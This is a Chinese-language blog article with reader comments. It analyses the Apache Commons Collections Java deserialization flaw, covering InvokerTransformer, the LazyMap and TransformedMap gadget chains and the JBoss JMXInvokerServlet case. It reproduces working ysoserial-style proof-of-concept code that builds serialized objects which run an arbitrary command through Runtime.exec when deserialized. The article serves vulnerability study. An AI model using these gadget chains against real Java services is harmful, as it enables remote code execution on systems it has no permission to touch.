Java反序列化漏洞-玄铁重剑之CommonsCollection(上)

b5mali4 / 2018-02-07 09:47:00 / 浏览数 8602 技术文章 技术文章 顶(2) 踩(0)

■■■■■■■■■■■■■■■■■■■■■■■■■■■■■■■■■■■

前言:

玄铁重剑，是金庸小说笔下第一神剑。由「玄铁」制成，重八八六十四斤；由「剑魔」独孤求败所使，四十岁前持之无敌于天下。
独孤求败逝去后为杨过所得，并由独孤求败的「朋友」神雕引导，之后在神雕的指导下，也根据独孤求败的独门秘籍及练功方法，练成了一身天下无敌的剑法及内功心法。

主角:

CommonsCollection, commons-collections.jar

介绍:

Java Collections Framework 是JDK
1.2中的一个重要组成部分。它增加了许多强大的数据结构，加速了最重要的Java应用程序的开发。从那时起，它已经成为Java中集合处理的公认标准。官网介绍如下:

Commons Collections使用场景很广，很多商业,开源项目都使用到了commons-collections.jar。
很多组件，容器，cms(诸如WebLogic、WebSphere、JBoss、Jenkins、OpenNMS等)的rce漏洞都和Commons Collections反序列被披露事件有关。

正文:

光是在ysoserial中，Commons
Collections反序列化漏洞就被分成了4组，分别是CommonsCollections1,CommonsCollections2,CommonsCollections3,CommonsCollections4,关于CommonsCollec
CommonsCollections1是目测现在网上被分析的最多的一篇文章了吧，随便搜索一下，就可以看到很多分析的文章。我这里整理几篇分析比较经典的文章，如果你想深入了
https://security.tencent.com/index.php/blog/msg/97
在org.apache.commons.collections.functors.InvokerTransformer.java的位置，其transform函数内容如下:

```
public Object transform(Object input) {
if (input == null) {
   return null;
}
try {
   Class cls = input.getClass();
   Method method = cls.getMethod(iMethodName, iParamTypes);
   return method.invoke(input, iArgs);

} catch (NoSuchMethodException ex) {
   throw new FunctorException("InvokerTransformer: The method '" + iMethodName + "' on '" + input.getClass() + "' does not exi
} catch (IllegalAccessException ex) {
   throw new FunctorException("InvokerTransformer: The method '" + iMethodName + "' on '" + input.getClass() + "' cannot be ac
} catch (InvocationTargetException ex) {
   throw new FunctorException("InvokerTransformer: The method '" + iMethodName + "' on '" + input.getClass() + "' threw an exc
}
}
```

在这个函数中，调用了java反射机制，下面写一个正常的例子测试一下:

```
InvokerTransformer invokerTransformer = new InvokerTransformer("append", new Class[]{String.class}, new Object[]{new String("s
Object result = invokerTransformer.transform(new StringBuffer("who am i")) ;
System.out.printf(result.toString());
```

有些朋友会想，那么我该如何去执行命令呢？java常见执行命令的方式有两个，分别是 new
processBuilder(cmd).start()和Runtime.getRuntime().exec(cmd)。我们可以构造如下代码:
运行下面这段代码可以弹出计算器，mac下

```
String[] cmds = new String[]{"open", "/Applications/Calculator.app/"};
InvokerTransformer invokerTransformer1 = new InvokerTransformer("exec", new Class[]{String[].class}, new Object[]{cmds});
invokerTransformer1.transform(Runtime.getRuntime());
```

win下

```
String[] cmds = new String[]{"calc.exe"};
InvokerTransformer invokerTransformer1 = new InvokerTransformer("exec", new Class[]{String[].class}, new Object[]{cmds});
```

```
invokerTransformer1.transform(Runtime.getRuntime());
```

当然这样也可以

```
ProcessBuilder processBuilder = new ProcessBuilder("open", "/Applications/Calculator.app/");
InvokerTransformer invokerTransformer1 = new InvokerTransformer("start", new Class[]{}, new Object[]{});
invokerTransformer1.transform(processBuilder);
```

案例

java有一个特征，不管经过几层封装，封装成什么类型，最终在readObject的时候，都会按照被封装的倒序去执行readObject。(ps:这是一段极其抽象的话，为了解释这段

即使最后是读者们执行readObject，最后也会一层一层到上帝来执行readObject，具体例子如下:

```
public class A implements Serializable {
private void readObject(java.io.ObjectInputStream in) throws IOException, ClassNotFoundException {
   try {
       System.out.printf("whoami");
       new ProcessBuilder("calc.exe").start();
   } catch (IOException e) {
       e.printStackTrace();
   }
}
}

public class Main {
public static class A implements Serializable {
   private void readObject(java.io.ObjectInputStream in) throws IOException, ClassNotFoundException {
       try {
           System.out.printf("whoami");
           //Runtime.getRuntime().exec(new String[]{"calc.exe"});
           new ProcessBuilder("calc.exe").start();
       } catch (IOException e) {
           e.printStackTrace();
       }
   }
}

public static void main(String[] args) {
   try {
       //■■■■■■■
       writeObjectToFile();
       //■■■■■■■■obj■■
       FileInputStream fis = new FileInputStream("object.txt");
       ObjectInputStream ois = new ObjectInputStream(fis);
       ois.readObject();
       ois.close();
   } catch (Exception e) {
       e.printStackTrace();
   }

}

public static void writeObjectToFile() throws FileNotFoundException, IOException {
   A myObj = new A();
   FileOutputStream fos = new FileOutputStream("object.txt");
   ObjectOutputStream os = new ObjectOutputStream(fos);
   os.writeObject(myObj);
   os.close();

}

}
```

整个程序流程如下，先调用writeObjectToFile
函数将类A的对象序列化并保存到文件object.txt中，第二个流程是打开object.txt，并执行readObject函数，那么最终会执行到类A中定义的readObject函数，该函数中可以
CVE-2015-8103刚出来的时候，boss直接被捅成了马蜂窝(威力可见一斑)。通过透漏的信息，我们得知 invoker/JMXInvokerServlet在这个请求中，找到jboss
invoker/JMXInvokerServlet这个接口，我们可以查看其源码
在 文件 org.jboss.invocation.http.servlet.InvokerServlet.java 中，其中函数processRequest中有这么一个片段

可以很清晰地看到，其作用是直接将request请求的数据直接给反序列化了，如果我们能找到某个序列化类，并在其readObject函数中直接或者间接调用了InvokerTransfor
查看 InvokerTransformer.transform的被调用情况，调用的地方有很多，其中
LazyMap.get()是ysoserial中提到的,网上也有很多都是基本分析TransformedMap.checkSetValue的。接下来会对两种poc分析

情况1(LazyMap.get())

这部分也是ysoserial中提到的，其poc最终调用的是AnnotationInvocationHandler.readObject函数。可是当跟进这个函数的时候，发现并没有出现LazyMap.get()，但是
InvocationHandler的使用例子例子如下:

```
public interface Subject {
public void doSomething();

public void readObject();

}

public class RealSubject implements Subject {
@Override
public void doSomething() {
System.out.println("RealSubject");
}

@Override
public void readObject() {
System.out.println("RealSubject readObject");
}
}
public class ProxyHandler implements InvocationHandler {
private Object proxied;

public ProxyHandler(Object proxied) {
this.proxied = proxied;
}

@Override
public Object invoke(Object proxy, Method method, Object[] args) throws Throwable {
System.out.println("ProxyHandler invoke");
return method.invoke(this.proxied, args);
}
}
public class DynamicProxy {
public static void main(String[] args){
RealSubject real = new RealSubject();
Subject proxySubject = (Subject) Proxy.newProxyInstance(Subject.class.getClassLoader(),
new Class[]{Subject.class},
new ProxyHandler(real));

proxySubject.readObject();
}
}
```

运行main函数之后，运行结果如下:

很显然，再生成动态代理对象后，该对象执行的任何成员方法都会经过invoke函数。至于为什么这么做，大家想想，其实动态代理是对类功能的加强，比如你现在有一个pe
args)前后初始化和回收环境好了(扯着扯着就扯到AOP编程的知识了，有些扯远了)
其中LazyMap.get()函数内容如下:

factory的赋值通过decorate函数

```
public static Map decorate(Map map, Transformer factory) {
return new LazyMap(map, factory);
}
```

懂了这些之后，再回过头来看分析整个流程，我们理顺一下整个poc。我理出了大概的调用链如下
AnnotationInvocationHandler.readObject()->AnnotationInvocationHandler.invoke()->LazyMap.get()->InvokerTransformer.transform()

直接借助InvokerTransformer invokerTransformer = new InvokerTransformer("exec", new Class[]{String[].class}, new Object[]{execArgs});会提示

具体的原因是因为，在 get(Object key)函数中默认传入的entrySet,而不是Runtime.getRuntime()。
其中ChainedTransformer中的transform比较有意思

```
public Object transform(Object object) {
for (int i = 0; i < iTransformers.length; i++) {
object = iTransformers[i].transform(object);
}
return object;
}
```

transform(object)中传入的object是一前一个transform(object)，最终构造如下:

```
final Transformer[] transformers = new Transformer[]{
new ConstantTransformer(Runtime.class),
new InvokerTransformer("getMethod", new Class[]{
String.class, Class[].class
}
, new Object[]{
   "getRuntime", new Class[0]
}
),
   new InvokerTransformer("invoke", new Class[]{
   Object.class, Object[].class
}
, new Object[]{
   null, new Object[0]
}
),
   new InvokerTransformer("exec",
   new Class[]{
   String.class
}
, execArgs),
   new ConstantTransformer(1)
}
;
```

ysoserial中完整的poc如下:

```
inal String[] execArgs = new String[] { command };
final Transformer transformerChain = new ChainedTransformer(
   new Transformer[]{ new ConstantTransformer(1)
}
);
final Transformer[] transformers = new Transformer[] {
   new ConstantTransformer(Runtime.class),
   new InvokerTransformer("getMethod", new Class[] {
String.class, Class[].class
}
, new Object[] {
"getRuntime", new Class[0]
}
),
   new InvokerTransformer("invoke", new Class[] {
Object.class, Object[].class
}
, new Object[] {
null, new Object[0]
}
),
   new InvokerTransformer("exec",
   new Class[] {
String.class
}
, execArgs),
   new ConstantTransformer(1)
}
;
final Map innerMap = new HashMap();
final Map lazyMap = LazyMap.decorate(innerMap, transformerChain);
final Map mapProxy = Gadgets.createMemoitizedProxy(lazyMap, Map.class);
final InvocationHandler handler = Gadgets.createMemoizedInvocationHandler(mapProxy);
Reflections.setFieldValue(transformerChain, "iTransformers", transformers);
```

```
// arm with actual transformer chain
return handler;
```

其实通过分析可以找到很多调用链的，比如
InvokerTransformer.transform()->TransformedMap.checkSetValue()->AbstractInputCheckedMapDecorator.setValue()->TreeMap.put()->CoreDocumentImpl.re

还有一种比较简单的调用，直接是
InvokerTransformer.transform()->TransformedMap.checkSetValue()->AbstractInputCheckedMapDecorator.setValue()->AnnotationInvocationHandler.readObj

情况2(TransformedMap.checkSetValue)

下面针对InvokerTransformer.transform()->TransformedMap.checkSetValue()->AbstractInputCheckedMapDecorator.setValue()->AnnotationInvocationHandler.
这条调用链来构造poc:

```
Map map = new HashMap();
Map transformedmap = TransformedMap.decorate(map, null, transformerChain);
InvocationHandler handler = (InvocationHandler) getFirstCtor("sun.reflect.annotation.AnnotationInvocationHandler").newInstance
Reflections.setFieldValue(transformerChain, "iTransformers", transformers);
```

到这里并没有成功弹出计算器，当执行到AnnotationInvocationHandler.readObject()时，下面这段代码不会执行。

```
for (Map.Entry<String, Object> memberValue : memberValues.entrySet()) {
String name = memberValue.getKey();
Class<?> memberType = memberTypes.get(name);
if (memberType != null) {
   // i.e. member still exists
   Object value = memberValue.getValue();
   if (!(memberType.isInstance(value) ||
       value instanceof ExceptionProxy)) {
       memberValue.setValue(
           new AnnotationTypeMismatchExceptionProxy(
           value.getClass() + "[" + value + "]").setMember(
           annotationType.members().get(name)));
```

要其执行要满足两个条件,memberValues不能为空，并且memberType不能为空
String name = memberValue.getKey();
Class<?> memberType = memberTypes.get(name);
memberTypes是Retention，查找下注释Retention中的成员，发现有一个value。

那么memberValues只需要put一个键值对，其键为value即可，memberValues.put('value', 'xxx'),完整poc如下:

```
public InvocationHandler getObject(final String command) throws Exception {
final String[] execArgs = new String[]{command};
// inert chain for setup
// real chain for after setup
final Transformer[] transformers = new Transformer[]{
   new ConstantTransformer(Runtime.class),
   new InvokerTransformer("getMethod", new Class[]{
   String.class, Class[].class
}
, new Object[]{
   "getRuntime", new Class[0]
}
),
   new InvokerTransformer("invoke", new Class[]{
   Object.class, Object[].class
}
, new Object[]{
   null, new Object[0]
}
),
   new InvokerTransformer("exec",
   new Class[]{
   String.class
}
, execArgs),
   new ConstantTransformer(1)
}
;
final Transformer transformerChain = new ChainedTransformer(
   new Transformer[]{new ConstantTransformer(1)
}
);
//Transformer transformerChain = new ChainedTransformer(transformers);
Map map = new HashMap();
Map transformedmap = TransformedMap.decorate(map, null, transformerChain);
transformedmap.put("value", "xx");
Class cls = Class
   .forName("sun.reflect.annotation.AnnotationInvocationHandler");
InvocationHandler handler = (InvocationHandler) getFirstCtor("sun.reflect.annotation.AnnotationInvocationHandler").newInstance
Reflections.setFieldValue(transformerChain, "iTransformers", transformers);
return handler;
}
public static void main(final String[] args) throws Exception {
PayloadRunner.run(CommonsCollections7.class, args);
}
public static Boolean isApplicableJavaVersion() {
return JavaVersion.isAnnInvHUniversalMethodImpl();
}
public static Constructor getFirstCtor(final String name)
   throws Exception {
final Constructor<?> ctor = Class.forName(name)
   .getDeclaredConstructors()[0];
ctor.setAccessible(true);
return ctor;
}
public static Field getField(Class<?> clazz, String fieldName) throws NoSuchFieldException {
Field field = clazz.getDeclaredField(fieldName);
if (field != null)
   field.setAccessible(true); else if (clazz.getSuperclass() != null)
   field = getField(clazz.getSuperclass(), fieldName);
field.setAccessible(true);
return field;
}
public static void setField(Object object, String fieldName, Object value) throws NoSuchFieldException, IllegalAccessException
Field field = getField(object.getClass(), fieldName);
field.set(fieldName, value);
}
```

参考链接

https://github.com/frohoff/ysoserial

点击收藏 | 3 关注 | 3

上一篇：看完这篇你还敢自拍吗？ 下一篇：甲方IOS二进制入门记录

1. 7 条回复

cover 2018-02-07 09:53:15

可以可以，打call

0 回复Ta

answer 2018-02-07 10:07:38

楼主 你好，请问你用的是什么ide啊

0 回复Ta

---

b5mali4 2018-02-07 10:13:25

格式有些问题，稍后调整一下

0 回复Ta

---

b5mali4 2018-02-07 10:14:04

@answer intellij idea

0 回复Ta

合肥滨湖虎子 2018-02-07 10:30:10

楼主写的很好，很详细，期待你后续的文章

0 回复Ta

三顿 2018-02-07 15:44:17

膜拜最接近梵高的人

0 回复Ta

orich1 2018-02-07 18:06:11

赞！非常详细，学习学习

0 回复Ta

登录 后跟帖

先知社区

现在登录

热门节点

技术文章

社区小黑板